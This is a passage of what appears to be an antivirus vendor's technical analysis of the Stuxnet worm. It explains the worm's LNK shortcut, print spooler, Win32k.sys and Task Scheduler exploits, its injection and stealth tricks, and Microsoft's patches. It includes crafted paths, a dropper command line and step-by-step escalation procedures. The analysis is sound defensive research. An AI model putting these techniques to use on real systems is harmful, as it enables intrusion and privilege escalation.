(Windows) Shellshocked, Or Why Win32/Stuxnet Sux July 19 Win32/Stuxnet Signed Binaries July 19 Yet more on Win32/Stuxnet July 19 It Wasn t an Army July 20 There s Passwording and there s Security July 22 A few facts about Win32/Stuxnet & CVE-2010-2568 July 22 Why Steal Digital Certificates? July 22 New malicious LNKs: here we go July 22 Win32/Stuxnet: more news and resources July 23 Link Exploits and the Search for a Better Explorer July 27 More LNK exploiting malware, by Jove!* August 2 Save Your Work! Microsoft Releases Critical Security Patch August 4 Assessing Intent August 25 21st Century Hunter-Killer UAV Enters Restricted DC Airspace Skynet Alive? September 10 New Papers and Articles September 27 Iran Admits Stuxnet Infected Its Nuclear Power Plant September 28th Yet more Stuxnet September 30th From sci-fi to Stuxnet: exploding gas pipelines and the Farewell Dossier September 30th Who Wants a Cyberwar? October 13th Stuxnet the Inscrutable October 13th A Little Light Reading October 14th Stuxnet: Cyberwarfare s Universal Adaptor? October 15th Stuxnet Paper Revision October 15th Stuxnet Vulnerabilities for the Non-Geek October 15th Win32k.sys: A Patched Stuxnet Exploit October 20th Stuxnet Under the Microscope: Revision 1.11 November 2nd Stuxnet Paper Updated November 12th October ThreatSense Report November 13th Stuxnet Unravelled November 19th Stuxnet Splits the Atom www.eset.com November 25th Stuxnet Code: Chicken Licken or Chicken Run? December 15th MS10-092 and Stuxnet On the 19th SANS posted an advisory regarding the .LNK vulnerability (http://isc.sans.edu/diary.html?storyid=9190), and on the 19th and 20th July Siemens updated its posts: http://www.sea.siemens.com/us/News/Industrial/Pages/WinCC_Update.aspx ESET labs were now seeing low-grade Autorun worms, written in Visual Basic, experimenting with the .LNK vulnerability, and had added generic detection of the exploit (LNK/Exploit.CVE-2010-2568). Most AV companies had Stuxnet-specific detection by now, of course. Some of the malware using the same vulnerability that appeared around that time was described by David Harley in a Virus Bulletin article, Chim Chymine: a Lucky Sweep? published in September 2010. The Internet Storm Center raised its Infocon level to yellow in order to raise awareness of the issue (http://isc.sans.edu/diary.html?storyid=9190). Softpedia and Computerworld, among others, noted the publication of exploit code using the .LNK vulnerability. Wired magazine reported that it was well-known that some Siemens products made use of hard-coded passwords, as described above: http://www.wired.com/threatlevel/tag/siemens/ Siemens has made quite a few advisories available, but has not really addressed the hard-coded password issue directly, and some pages appear to have been withdrawn at the time of writing. The following pages were still available: http://support.automation.siemens.com/WW/llisapi.dll?func=cslib.csinfo&lang=en&obji d=43876783&caller=view http://support.automation.siemens.com/WW/llisapi.dll?func=cslib.csinfo&objId=43876 783&objAction=csOpen&nodeid0=10805449&lang=en&siteid=cseus&aktprim=0&extranet=stan dard&viewreg=WW A number of new malware families were identified using same vulnerability in late July, and a number of other families such as Win32/Sality generated new variants that also used it. Win32/TrojanDownloader.Chymine.A downloads Win32/Spy.Agent.NSO keylogger; Win32/Autorun.VB.RP, and is similar to malware described by ISC on 21st July (http://isc.sans.edu/diary.html?storyid=9229 ), but updated to include the CVE-2010-2568 exploit for propagation. Pierre-Marc Bureau and David Harley blogged on the subject at http://blog.eset.com/2010/07/22/newmalicious-lnks-here-we-go, and Harley explored the issues further in Shortcuts to Insecurity: .LNK Exploits at http://securityweek.com/shortcuts-insecurity-lnk-exploits, and Chim Chymine: a lucky sweep? in the September issue of Virus Bulletin. Aryeh Goretsky s blog at http://blog.eset.com/2010/08/02/save-your-work-microsoft-releases-criticalsecurity-patch comments on the Microsoft patch which finally appeared at the beginning of August: see http://www.microsoft.com/technet/security/bulletin/MS10-046.mspx. www.eset.com Further Microsoft issues were addressed in September, as described in this document. See also http://www.scmagazineuk.com/microsoft-plugs-stuxnet-problems-as-nine-bulletins-are-released-onpatch-tuesday/article/178911/?DCMP=EMC-SCUK_Newswire. Microsoft released a security update to address the Print Spooler Service vulnerability used by Stuxnet. The vulnerability only exists where a printer is shared, which is not a default. http://blogs.technet.com/b/msrc/; http://www.microsoft.com/technet/security/bulletin/ms10-061.mspx; http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spoolervulnerability.aspx. Further fixes promised for two Elevation of Privilege vulnerabilities. Ralph Langner s analysis of how Stuxnet affects a vulnerable installation was further discussed at the ACS conference in September 2010, but AV industry analysis did not fully concur. http://www.langner.com/en/index.htm; http://realtimeacs.com/?page_id=65; http://realtimeacs.com/?page_id=66; http://www.symantec.com/connect/blogs/exploring-stuxnet-s-plc-infection-process. Related last-minute presentations at Virus Bulletin 2010: http://www.virusbtn.com/conference/vb2010/programme/index http://www.symantec.com/connect/blogs/w32stuxnet-dossier, http://www.symantec.com/content/en/us/enterprise/media/security_response/whitep apers/w32_stuxnet_dossier.pdf, http://www.virusbtn.com/pdf/conference_slides/2010/Raiu-VB2010.pdf http://www.virusbtn.com/pdf/conference_slides/2010/OMurchu-VB2010.pdf. Much of the earlier controversy about the origin and targeting of Stuxnet derived from uncertainty about exactly what its code was meant to do. Even after it was established that it was intended to modify PLC (Programmable Logic Controller) code, details of the kind of installation targeted remained unclear. However, research into this aspect of the Stuxnet code by Symantec et al, blogged by Eric Chien at http://www.symantec.com/connect/blogs/stuxnet-breakthrough, told us that "Stuxnet requires the industrial control system to have frequency converter drives from at least one of two specific vendors, one headquartered in Finland and the other in Tehran, Iran. This is in addition to the previous requirements we discussed of a S7-300 CPU and a CP-342-5 Profibus communications module." He goes on to describe in some detail the workings of the relevant Stuxnet code. Symantec's hefty Stuxnet dossier was updated accordingly. This didn t put a complete end to the speculation, of course. In fact, some of the speculation actually grew wilder. Most notably, Sky News, tired of mere factual reporting and even half-informed speculation, took off for planet Fantasy, where it discovered that the Sky really is falling, claiming that the super virus is being traded on the black market and could be used by terrorists . That, we suppose, would be the bad guys as opposed to the saintly individuals who originally put Stuxnet together, very possibly to attack nuclear facilities. www.eset.com Our view is that, given the amount of detailed analysis that s already available, anyone with malicious intent and a smidgen of technical skill would not need the original code. There is certainly substantial evidence suggesting that equipment used for uranium enrichment in nuclear facilities, perhaps in Iran, was the original target. However, Will Gilpin, apparently an IT security consultant to the UK government, suggested that possession of the virus in whatever form has alarming potential: You could shut down the police 999 system. You could shut down hospital systems and equipment. You could shut down power stations, you could shut down the transport network across the United Kingdom. These assertions clearly owed little to the PLC code actually discussed in the competent analyses above. While it might be possible to do all these things, that would require extensive re-engineering of the existing code and possibly a completely new set of 0-days. While it s by no means all-inclusive, the timeline at http://www.infracritical.com/papers/stuxnettimeline.txt is pretty comprehensive. The Langner team at http://www.langner.com/en/2010/12/31/year-end-roundup/ finished the year 2010 with a blog summarizing the up-to-date bottom line on their view of Stuxnet. Of course, they had published a steady stream of interesting and relevant blogs at http://www.langner.com/en/blog/ before that, some of which have been listed in this document. As of version 1.31 of this document, we will not be publishing further revisions except to correct errors or to introduce substantial new or modified material. We will, however, be adding links from time to time to the ESET blog entry at http://blog.eset.com/?p=5731. www.eset.com Distribution In this section we present information about the ways in which Stuxnet self-propagates. We pay close attention to the vulnerabilities used by the worm to propagate itself and describe it in details in this section. The reader can find comprehensive information here on the LNK vulnerability and its implementation in Stuxnet as well as on the MS10-061 vulnerability in the Windows Spooler, both of which are used to deliver and execute the malware s binaries on a remote machine. We also describe vulnerabilities in win32k.sys driver and Windows Task Scheduler Service implementation used to elevate Stuxnet s privileges up to SYSTEM level. There are four ways the rootkit can distribute itself: by means of flash drives, through network shares, through an RPC vulnerability and through the recently patched MS10-061 Print Spooler vulnerability. The figure below depicts the vulnerabilities used for propagation and installation. Figure 3.1 Stuxnet Propagation and Installation Vectors The LNK exploit Microsoft Security Advisory (2286198) CVE-2010-2568 includes links to detailed information about this exploit. http://www.microsoft.com/technet/security/advisory/2286198.mspx. ESET allocated a separate detection family LNK/Autostart for the detection of attacks using this vulnerability. This vulnerability www.eset.com was known to be in the wild for over a month even after it was identified before Microsoft were able to release a patch for it in late August 2010, as described in the following bulletin: http://www.microsoft.com/technet/security/bulletin/MS10-046.mspx. The vulnerability is not based on a standard means of exploitation, where you would expect to need to prepare exploit with shellcode, which would make use of the vulnerability. In fact any .LNK file can exploit it, at exploitation CVE-2010-2568 is used feature .LNK files, when displayed in windows explorer and the icon for a .LNK file is loaded from a CPL file (Windows Control Panel file). Actually, the CPL file represents a conventional dynamic link library and this is the crux of the vulnerability. The role of the payload module will be indicated in the path to the CPL file. Figure 3.2 Information about CPL File So below we can see the general scheme of the Shell Link (. LNK) Binary File Format (http://www.stdlib.com/art6-Shortcut-File-Format-lnk.html). Figure 3.3 Scheme of Shell Link (.LNK) Binary File Format www.eset.com The most interesting feature here is hidden in the File Location Info field, which specifies the path from which the CPL file should be loaded. A vulnerability was found in Windows Shell which could allow code execution if the icon of a specially crafted shortcut is merely displayed. Here is a malicious .LNK file from an infected USB flash drive: Figure 3.4 Malware .LNK File from an Infected USB Flash Drive In the File Location Info field there is a path to the file that contains the payload that should be executed. In this case, the path points to an external drive, and when this is viewed in Windows Explorer it causes the system to execute ~wtr4141.tmp. More information on the distribution using external USB and media devices can be read in the section devoted to precisely this functionality. In all the analyzed malicious .LNK files we have seen, there is a feature that consists of two GUID sequences. These sequences indicate the following: Figure 3.5 GUID from .LNK Files The .LNK file most likely points to and loads a CPL file. When the directory containing the crafted .LNK exploit is opened with Windows Explorer, the following chain of function calls will eventually lead to a function call LoadLibraryW(). When the function LoadLibraryW() is called, the malware DLL will be executed. www.eset.com Figure 3.6 A Chain of Calls If we trace this chain of calls in the debugger, we see confirmation of all the facts described above. Thus we can execute any malicious module, as LoadLibraryW() receives as a parameter the path to the module, which it must perform and no additional inspections are not happening. Figure 3.7 Loading Malicious Module This vulnerability highlights the fact that like many other bugs, this error has found its way into the architecture of fundamental mechanisms, in this case for processing LNK files. Vulnerabilities which, as in this case, are symptomatic of fundamental design flaws are a nightmare for developers of any program, because they are always difficult and time-consuming to fix. 3.1.1 Propagation via External Storage Devices Since the vulnerability is based on the mechanism for the display .LNK files, it is possible to distribute malware via removable media and USB drives without using Autorun-related infection. This propagation vector was used in the Stuxnet attack. 3.1.2 Metasploit and WebDAV Exploit A few days after the public debate concerning .LNK PoC exploitation, the Metasploit Framework released code including implementation of the exploit in order to allow remote attacks (http://www.metasploit.com/modules/exploit/windows/browser/ms10_046_shortcut_icon_dllloader), Prior to the release of this exploit, it was believed that this vulnerability is not exploitable for remote attacks. Researchers from the Metasploit Project showed that this was not the case, by using the UNC path to the WebDAV service (http://msdn.microsoft.com/en-us/library/cc227098(PROT.10).aspx). This vulnerability is still functional. This exploit used a WebDAV service that can be used to execute an arbitrary payload when accessed as a UNC path by following the link generated by Metasploit that displays the directory containing .LNK file and DLL module with payload. www.eset.com Figure 3.8 WebDAV Directory Generated by Metasploit The .LNK file contains the network path to the module with the payload. Figure 3.9 .LNK File Generated by Metasploit The vulnerability in .LNK files and the recently discovered DLL Hijacking vulnerability (http://www.microsoft.com/technet/security/advisory/2269637.mspx) have much in common, both in the nature of their appearance, and in the ways in which they ve been exploited. 3.1.3 What Do DLL Hijacking Flaws and the LNK Exploit have in Common? While we have been writing this report public information was released about DLL Hijacking flaws (Microsoft Security Advisory 2269637) and we noted some association with or resemblance to the .LNK files vulnerability. Both vulnerabilities are inherent design flaws and in both cases the function LoadLibrary() is used. The directory where the exploitative file is found can be situated in a USB drive, an extracted archive, or a remote network share. In both cases we find spoofed paths to a loadable module and the possibility of a remote attack via the WebDAV service. What other vulnerabilities are stored in Windows operating systems, nobody knows. Most likely, this vector of attack will undergo a thorough research and it might be that something else equally interesting is awaiting us in the near future. www.eset.com LNK Vulnerability in Stuxnet This is the first way in which the rootkit distributes itself. When you inspect a flash USB drive infected with the Stuxnet worm you can expect to find 6 files there as on the following screenshot: Figure 3.10 The Worm s Files on a USB Flash Drive Copy of Shortcut to.lnk; Copy of Copy of Shortcut to.lnk; Copy of Copy of Copy of Shortcut to.lnk; Copy of Copy of Copy of Copy of Shortcut to.lnk; ~WTR4141.TMP; ~WTR4132.TMP. The first four files are LNK files these are the files that specify how the Icon of other files should be displayed. The files with LNK extension are different: here is an example of the contents of one of them: Figure 3.11 Contents of the .LNK Files The worm exploits the CVE-2010-2568 vulnerability (see section The LNK exploit for details) to infect the system. You can see in the figure above the highlighted name of the module to be loaded during the exploitation of the vulnerability. When a user tries to open an infected USB flash drive with an application that can display icons for shortcuts, the file with the name ~WTR4141.TMP is loaded and its entry point is called. The file is, in fact, a dynamic link library, the main purpose of which is to load another file with the name ~WTR4132.TMP from the infected flash drive. www.eset.com The files with the .LNK filename extension are essentially the same except they specify different paths to the single file: \\.\STORAGE#Volume#_??_USBSTOR#Disk&Ven_____USB&Prod_FLASH_DRIVE&Rev_#1 2345000100000000173&0#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}#{53f5630d-b6bf-11d094f2-00a0c91efb8b}\~WTR4141.tmp; \\.\STORAGE#Volume#1&19f7e59c&0&_??_USBSTOR#Disk&Ven_____USB&Prod_FLASH _DRIVE&Rev_#12345000100000000173&0#{53f56307-b6bf-11d0-94f200a0c91efb8b}#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\~WTR4141.tmp; \\.\STORAGE#RemovableMedia#8&1c5235dc&0&RM#{53f5630d-b6bf-11d0-94f200a0c91efb8b}\~WTR4141.tmp; \\.\STORAGE#RemovableMedia#7&1c5235dc&0&RM#{53f5630d-b6bf-11d0-94f200a0c91efb8b}\~WTR4141.tmp. All these strings specify a path to the file located on the removable drive, and are used instead of a short form of the path with a drive letter. The first part of the path to the file (before the backslash "\" that precedes the filename) is a symbolic link name referring to the corresponding volume, as we can see on the figure below: Figure 3.12 Symbolic Link Names of Volumes The first entry in figure 3.12 corresponds to the volume representing a USB flash drive, the name of which is \Device\HarddiskVolume5. Notably, that drive letters are symbolic link names too that refer to the same device objects: Figure 3.13 Drive letters Stuxnet uses the long versions of pathnames because it is impossible to predict what letter corresponds to a removable drive in a remote system, and as a result, the short paths are likely to be incorrect in some cases. The longer variant of a path is constructed with respect to certain rules and configuration information obtained from the hardware, so that we can predict with considerable accuracy what symbolic link name corresponds to a device on a remote machine. The rules according to which these symbolic links are constructed vary depending on the operating system, which is why Stuxnet uses four distinct .LNK files. For instance, the first entry in the list presented above won't work on Windows XP but will work on Windows 7, the second entry works on Windows Vista, while the last two entries work on Windows XP, Windows Server 2003 and Windows 2000. www.eset.com The MS10-061 Attack Vector Another way in which the worm replicates itself over the network exploits a vulnerability in Window Spooler (MS10-061). Machines with file and printer sharing turned on are vulnerable to the attack. This vulnerability results in privilege escalation allowing a remote user using a Guest account to write into %SYSTEM% directory of the target machine. The attack is performed in two stages: during the first stage the worm copies the dropper and additional file into Windows\System32\winsta.exe and Windows\System32\wbem\mof\sysnullevnt.mof respectively, while at the second stage the dropper is executed. The first stage exploits the MS10-061 vulnerability. Under certain conditions the spooler improperly impersonates a client that sends two documents for printing as we can see on the figure below. Figure 3.14 "Printing" Malicious Files into Files in %SYSTEM% Directory These documents are printed to files in the %SYSTEM% directory while a user has Guest privileges that shouldn t entail access rights to the %SYSTEM% directory. During exploitation of the vulnerability, a thread of the process spoolsv.exe calls an API function StartDocPrinter() with parameter specifying the following information about document to be printed: typedef struct _DOC_INFO_1 { LPTSTR pDocName; // Default LPTSTR pOutputFile; // winsta.exe or wbem\mof\sysnullevnt.mof LPTSTR pDatatype; // RAW } DOC_INFO_1; In the middle of September 2010, Microsoft released a security patch to fix MS10-061. We have compared the original executable spoolsv.exe with the patched executable and found some functional differences. One of the most important differences concerns the YStartDocPrinter function which is eventually called in order to print a document. On the figure below we provide a graphical representation of the functions. www.eset.com Figure 3.15 Functional Changes in the Patched Version The left-hand side represents the patched function while on the right-hand the original is displayed. The functions are in general the same, but some additional checks have been added, and these are highlighted in red. Before printing a document the function performs the following checks: whether the caller belongs to Local group; whether OutputFile parameter is NULL or equal to a port name of the printer: otherwise a client needs to have appropriate access rights to write to the specified file. The sequence of check is presented on the figure below. www.eset.com Figure 3.16 Additional Checks Implemented by Microsoft The second stage of the attack employs the file wbem\mof\sysnullevnt.mof : that is, a Managed Object Format file. Files of this type are used to create or register providers, events, and event categories for WMI. Under certain conditions this file runs winsta.exe (the dropper) and its execution by the system results in the infection of the system. www.eset.com Network Shared Folders And RPC Vulnerability (MS08-067) The worm is also capable of distributing itself over the network through shared folders. It scans network shares c$ and admin$ on the remote computers and installs a file (dropper) there with the name DEFRAG.TMP, and schedules a task to be executed on the next day: rundll.exe "C:\addins\DEFRAGdc2d0.TMP", DllGetClassObject Figure 3.17 Stuxnet Schedules Dropper Execution on the Next Day Stuxnet s exploitation of the MS08-67 vulnerability to propagate itself through the network is comparable to the use of the same vulnerability by the network worm Conficker. Its exploit is implemented as a separate module. We have compared the two exploit implementations in Conficker and Stuxnet and found that the shell codes that have been used are different. Stuxnet's shell code is rather sophisticated and employs advanced techniques that have recently become widely spread such as ROP (return oriented programming). www.eset.com 3.5 0-day in Win32k.sys (MS10-073) When the Win32/Stuxnet worm didn t have enough privileges to install itself in the system it exploited a recently patched (MS10-73) 0-day vulnerability in the win32k.sys system module to escalate privilege level up to SYSTEM, which enabled it to perform any tasks it likes on the local machine. The vulnerable systems are: Microsoft Windows 2000; Unpatched Windows XP (all service packs). Actually, in theory, it is possible to exploit this vulnerability on the other systems as the code pertaining to the vulnerability exists (see figure 3.17), but there are no known ways to reach it (i. e. the code that transfers control to the shell code) and as a result the shell code won't be executed. To perform this trick, Stuxnet loads a specially crafted keyboard layout file, making it possible to execute arbitrary code with SYSTEM privileges. The escalation of privileges occurs while dispatching input from the keyboard in Win32k.sys module. While processing input from the keyboard using the NtUserSendInput system service, the following code is executed: Figure 3.18 A fragment of the executed code during processing keyboard input The purpose of this code is to determine how to dispatch virtual key code of the pressed button. Register ecx specifies the type of the handler according to the current keyboard layout to be called in _aNLSVKProc procedure table. This table consists of three handlers: Figure 3.19 _aNLSVKProc procedure table As we can see from the figure above (3.18), the _aNLSVKProc is followed by 3 DWORDs, the last of which (highlighted in red) can be interpreted as a pointer pointing to 0x60636261 in the user-mode address space. Thus, if we set the ecx register in the code in figure 1 with the proper value, namely 5, then we can execute code at 0x6036261 with SYSTEM privileges. We can manipulate the ecx register in this code by loading a specially crafted keyboard layout file specifying that certain virtual key codes should call the procedure indexed as 5. The keyboard layout file is a dynamic link library of which the .data section is specially structured. Below we present a structure that maps virtual keys to corresponding procedures in the table. www.eset.com typedef struct _VK_TO_FUNCTION_TABLE { BYTE Vk; // Virtual-key code BYTE NLSFEProcType; // Index of the procedure in _aNLSVKProc table // corresponding to the virtual key BYTE NLSFEProcCurrent; BYTE NLSFEProcSwitch; VK_FPARAM NLSFEProc[8]; VK_FPARAM NLSFEProcAlt[8]; } VK_F, *KBD_LONG_POINTER PVK_F; The worm loads a special keyboard layout file by calling NtUserLoadKeyboardLayoutEx and passing it the following hexadecimal constant 0x01AE0160 as an offTable parameter. The low word of this parameter specifies the RVA (Relative Virtual Address) of the KBDTABLES structure from the beginning of the file, while the high word specifies the RVA of KBDNLSTABLES, which is of particular interest. The latter structure determines the address and size of the array of VK_F structures contained in the file. typedef struct tagKbdNlsLayer { USHORT OEMIdentifier; USHORT LayoutInformation; UINT NumOfVkToF; PVK_F pVkToF; // Size of array of VK_F structures // RVA of array of VK_F structures in the // keyboard layout file NumOfMouseVKey; USHORT *KBD_LONG_POINTER pusMouseVKey; } KBDNLSTABLES, *KBD_LONG_POINTER PKBDNLSTABLES; In figure 3.19 below we present the contents of the .data section where we can see that the structure KBDNLSTABLES located at RVA 0x1AE specifies one structure VK_F located at RVA 0x01C2. Figure 3.20 .data section of the crafted keyboard layout file As we can see, the keyboard layout file contains exactly one VK_F structure that maps a virtual-key with code equal to procedure 0 in _aNLSVKProc with indexed as 5. www.eset.com One thing we need to do in order to exploit this vulnerability is to allocate a buffer for the code to be executed at address 0x60636261 as in the case with Stuxnet, which allocates 32KB of memory at 0x60630000 (figure 3.20) and writes shell code at 0x60636261 (figure 3.21): Figure 3.21 Stuxnet allocates 32KB of memory at 0x60630000 for shell code Figure 3.22 The beginning of the shell code at 0x60636261 Microsoft's patch On the 13th of October 2010 Microsoft released a security patch that fixes this vulnerability. We've compared unpatched and patched Win32k.sys modules to understand the way the vulnerability was fixed. As we expected MS added an additional check in the code handling keyboard input (namely in the function xxxEKNLSProcs) to prevent NLSFEProcType field of the VK_F structure of being out of the boundaries _aNLSVKProc table. In the figures below we can see unpatched (figure 3.22) and patched code (figure 3.23) respectively where the additional check is highlighted with the red border. As we can see, before calling a procedure from _aNLSVKProc table the check is performed to ensure that the index of the procedure doesn't exceed the value of 2 (correct values are 0,1,2). www.eset.com Figure 3.23 A part of the xxxEKNLSProcs procedure before patching www.eset.com Figure 3.24 A part of the xxxEKNLSProcs procedure after patching www.eset.com 3.6 MS10-092: Exploiting a 0-day in Task Scheduler Yet another vulnerability that Stuxnet exploits in order to elevate privileges concerns the Task Scheduler Service implemented in Windows operating systems starting from Windows Vista. Remarkably enough, 64-bit version of the operating systems are vulnerable as well as x86 versions. Exploiation of the vulnerability allows Stuxnet to elevate its privileges up to SYSTEM level. There vulnerability represented a serious flaw in the original design of the service: namely in the way it controlled integrity of the metadata describing scheduled jobs. In operating systems after Windows Vista, Task Scheduler creates an xml file with configuration information for each registered job. These files are usually located in the %SystemRoot%\system32\Tasks folder (if not otherwise specified) and contain such information as type of the job, path to the executable and command line arguments, account that the executable will be run under, required privileges and so on. Figure 3.25 A part of the configuration file describing a job In the figure above you can see part of the configuration xml file for a task. The Principals section in the file defines required privileges for the job, while the Actions section defines what the job should do (to get the full list of possible job actions we refer the reader to MSDN). In particular case as described in figure 3.25 the job will run the notepad application with no command line arguments, using the LocalSystem account with the highest available privileges. Although the Task Scheduler directory can be read only by LocalSystem and members of the local administrators group, the file describing the task scheduled by a user is fully accessible to him as long as he isn t a Guest( as can be seen on the following figure 3.26). To protect the integrity of the job configuration files and prevent users from modifying them (for instance to elevate privileges by overwriting the Principals section), Task Scheduler calculates a checksum on creating a task. When it is time to start the job, Task Scheduler recalculates it and compares the new check sum to the original value: if they match the job is run. The flaw in the aforementioned scenario is that Task Scheduler calculates the checksum with the CRC32 algorithm (you can find a description of the algorithm in Appendix D). This is known to be good for detecting unintentional errors (mainly due to transmitting data through communication channels) but not intentional as in the case. It is known also that the CRC32 algorithm has linear properties that make it very easy to create another message with the same checksum as the specified message. www.eset.com Figure 3.26 Access permissions to the Task folder and a task file This is exactly what Stuxnet does in order to elevate its privileges in unpatched Vista and later operating systems. Here is a brief summary of the algorithm that Stuxnet uses to exploit the vulnerability: Create a job that will be run under the current user account with the least available privileges; Read the task configuration file corresponding to the task created at step 1 and calculate its CRC32 checksum; Modify the task configuration file corresponding to the task created at step 1 so that it matches the same check sum as the original file and set the following properties: a. Principal Id=LocalSystem (principal for the task that provides security credentials); b. UserId=S-1-5-18 (SID of the LocalSystem); c. RunLevel=HighestAvailable (run with the highest available privileges); d. Actions Context=LocalSystem (security context under which the actions of the task are performed); 4. Run the task. To ensure that the modified file has the same check sum value as the original, it appends a special comment of the form to the end of the file and calculates XY (the algorithm for calculating this www.eset.com value is presented in Appendex E) such that it has the specified CRC32 check sum value. The result of such manipulations is as shown in figure 3.27: Figure 3.27 Forged task configuration file As a result Task Scheduler will start the task normally with the specified privileges. Microsoft's patch On the 14th of December 2010 Microsoft released a security update (MS10-092) to fix the vulnerability in Windows Task Scheduler service which allows elevation of privilege, as described above. To protect the integrity of the xml schema describing a task, the service already used the crc-32 algorithm. Thus, given a task xml schema, it is possible to create another schema with the same checksum. To fix the vulnerability Microsoft implemented an additional SHA-256 cryptographic hash algorithm to check the integrity of a task xml schema. If we look into the updated schedsvc.dll library which implements the service, we can find a type HashCompute which is not present in the unpatched library: Figure 3.28 - Available methods of the HashCompute type The type was implemented to provide integrity checking for the xml schemas that define tasks. Here are cross-references to the HashCompute::ComputeHash method which tell us when the hash value is calculated and when it is checked: Figure 3.29 - Cross-references to HashCompute::ComputeHash method If we look at the implementation of the HashCompute::ComputeHash method, the following code can be found, which calculates hash value of the xml schema: www.eset.com Figure 3.30 - Opening handle to Microsoft Enhanced RDA and EAS Cryptographic Provider Figure 3.31 - Computing SHA-256 of xml schema The SHA-256 hash function is known to be secure against finding the second pre-image and collisions, unlike the crc-32 checksum algorithm. Thus given an xml schema that define a task it is impossible in polynomial (real) time to construct another xml schema with the same hash value. This means that it is no longer possible to exploit the vulnerability on a patched system in the way that Win32/Stuxnet attempts. MS10-092 in Win32/Olmarik A new modification of the notorious rootkit Win32/Olmarik.AIY, also known as TDL4 (you can read "TDL3: The Rootkit of All Evil?" report for detailed information about previous version of the rootkit) appeared in the end of November which is capable of elevating privileges on Microsoft Windows operating systems starting from Windows Vista by means of exploiting the MS10-092 vulnerability. TDL4's implementation of the code that exploits the vulnerability doesn't essentially differ from that of Stuxnet's code. The rootkit creates a legitimate task by means of the available interface in the system, then reads the xml schema corresponding to the task directly from the file in the Task Scheduler folder, and then modifies it: Fig. 3.32: Modification of xml Schema It sets certain attributes with the following values: www.eset.com Principal Id=LocalSystem ; UserId=S-1-5-18; RunLevel=HighestAvailable; Actions Context=LocalSystem; As a result the rootkit creates an xml schema defining a task that will be run under the LocalSystem account. Below you can see a part of the schema: www.eset.com Stuxnet Implementation This chapter covers the implementation aspects of the worm: namely, its user-mode and kernel-mode components. A full set of the modules it incorporates can be found in table 4.1.2. The first part of the section describes Stuxnet s user-mode functionality and starts with an overview of the main module. Furthermore, we present information on how Stuxnet injects code into processes in the system, and on its installation algorithm. We also describe the set of functions exported by the main module, and the RPC server used for P2P communication. The second part of this section concerns the kernel-mode drivers that Stuxnet uses to hide its dropper and malicious .LNK files, and inject code into processes so as to survive after reboot. We also present some information on Stuxnet configuration data and its remote communication protocol with C&C servers. User-mode functionality There are several modules that constitute the user-mode functionality. The main module that contains the others is a large dynamic link library. Other modules including kernel mode drivers are stored in the s resources. 4.1.1 Overview of the main module The main module is represented as a large DLL packed with UPX. Its unpacked size is 1233920 bytes (1.18 MB). Figure 4.1 Section Table of the Main Module www.eset.com Figure 4.2 Resources of the Main Module The main module exports 21 functions by ordinal. Each function has its own purpose as will be described in the section Exported functions. Figure 4.3 Export Address Table of the Main Module 4.1.2 Injecting code The malware employs quite an interesting technique to inject code into the address space of a process and execute exported functions. The user-mode modules of Stuxnet are implemented as dynamic link libraries, and exported functions are frequently executed or injected into the address space of a process. There are two different cases: when a module is loaded into an existing process, or when the module is injected into a new process. www.eset.com 4.1.3 Injecting into a current process Consider the first case, when one of the user-mode components wants to call a function exported by another component in the context of the calling process. To avoid being detected by antivirus software the malware loads a module in the following way: It allocates a memory buffer in the calling process for the module to be loaded; It patches Ntdll.dll system library: namely, it hooks the following functions: ZwMapViewOfSection; ZwCreateSection; ZwOpenFile; ZwClose; ZwQueryAttributesFile; ZwQuerySection; It calls LoadLibraryW API, exported from kerenl32.dll and passing it as a parameter a specially constructed library name, using the pattern: KERNEL32.DLL.ASLR.XXXXXXXX or SHELL32.DLL.ASLR.XXXXXXXX, where XXXXXXXX is a random hexadecimal number; It calls desired exported function; It calls FreeLibrary API function to free loaded library. To hook the functions specified above, the malware allocates a memory buffer for code that will dispatch calls to hooked functions, overwrite some data in MZ header of the image with the code that transfers control to the new functions, and hook the original functions by overwriting its bodies, the result of these manipulations is presented on figure 4.4. www.eset.com Figure 4.4 Hooking Functions in ntdll.dll www.eset.com The MZ header of ntdll.dll is overwritten with the following code: Figure 4.5 Code Injected into MZ Header of ntdll.dll The purpose of all these manipulations is to load a non-existent library legitimately (at least as far as the system is concerned). The hook functions allow the malware to load module as if it were a library that really existed. When a library with specific name (KERNEL32.DLL.ASLR or SHELL32.DLL.ASLR) is requested, these functions map the desired module into the address space of the process. As a result, the loaded module looks like a real dynamic link library except that there is no file with the name of the library on the hard drive, which reduces probability of detection by heuristic methods. Some anti-rootkit software does detect it and warn users: www.eset.com Figure 4.6 GMER Detected that Loaded Library doesn't have Corresponding File 4.1.4 Injecting into a new process In the second case when the malware requires the module to be executed in a newly created process it uses different approach. To achieve this Stuxnet: Creates a host process; Replaces the image of the process with the module to execute and with supplemental code that will load the module and call specified export passing parameters (as in the first case described). Depending on the processes present in the system the malware chooses the host process from the following list: lssas.exe (system process); avp.exe (Kaspersky); mcshield.exe (McAfee VirusScan); avguard.exe (AntiVir Personal Edition); bdagent.exe (BitDefender Switch Agent); UmxCfg.exe (eTrust Configuration Engine from Computer Associates International); fsdfwd.exe (F-Secure Anti-Virus suite); rtvscan.exe (Symantec Real Time Virus Scan service); ccSvcHst.exe (Symantec Service Framework); ekrn.exe (ESET Antivirus Service Process); tmproxy.exe (PC-cillin antivirus software from TrendMicro); The malware enumerates processes in the system and if it finds a process whose executable image has a name present in this list, and which meets certain criteria, then it is chosen to be a host for the module. 4.1.5 Installation We can consider the case when ~WTR4141. TMP is loaded due to the vulnerability (CVE-2010-2568) in displaying shortcuts for icons as described in section 1.6. As soon as the file is loaded it hooks the following functions to hide the worm's files on a flash USB drive. www.eset.com In kernel32.dll: o FindFirstFileW; o FindNextFileW; o FindFirstFileExW; In ntdll.dll: o NtQueryDirectoryFile; o ZwQueryDirectoryFile. This function filters the files that satisfy the following criteria from being displayed: files with ".LNK" extension of which the file size is equal to 1471 (0x104b) bytes; files with ".TMP" extension of which the name consists of 12 characters (including filename extension) in the following format: "~WTRabcd.TMP", where a,b,c,d are digits from 0 to 9 which sum modulo 10 equals 0 ("~WTR4411.TMP" for example). This module loads another module. ~WTR4132.TMP, using a method described in previous section. ~WTR4132.TMP extracts from its section with ".stub" name another component the main dynamic link library of Stuxnet - then loads it and calls exported function number 15. Figure 4.7 Installation of the Malware This function checks whether the token of the current user belongs to the group of the local administrators on the computer: if so, it executes the exported function with ordinal 0x10 in a new process. This function installs Stuxnet's components onto the system. www.eset.com 4.1.6 Exported functions Here we will describe the functions exported by the main 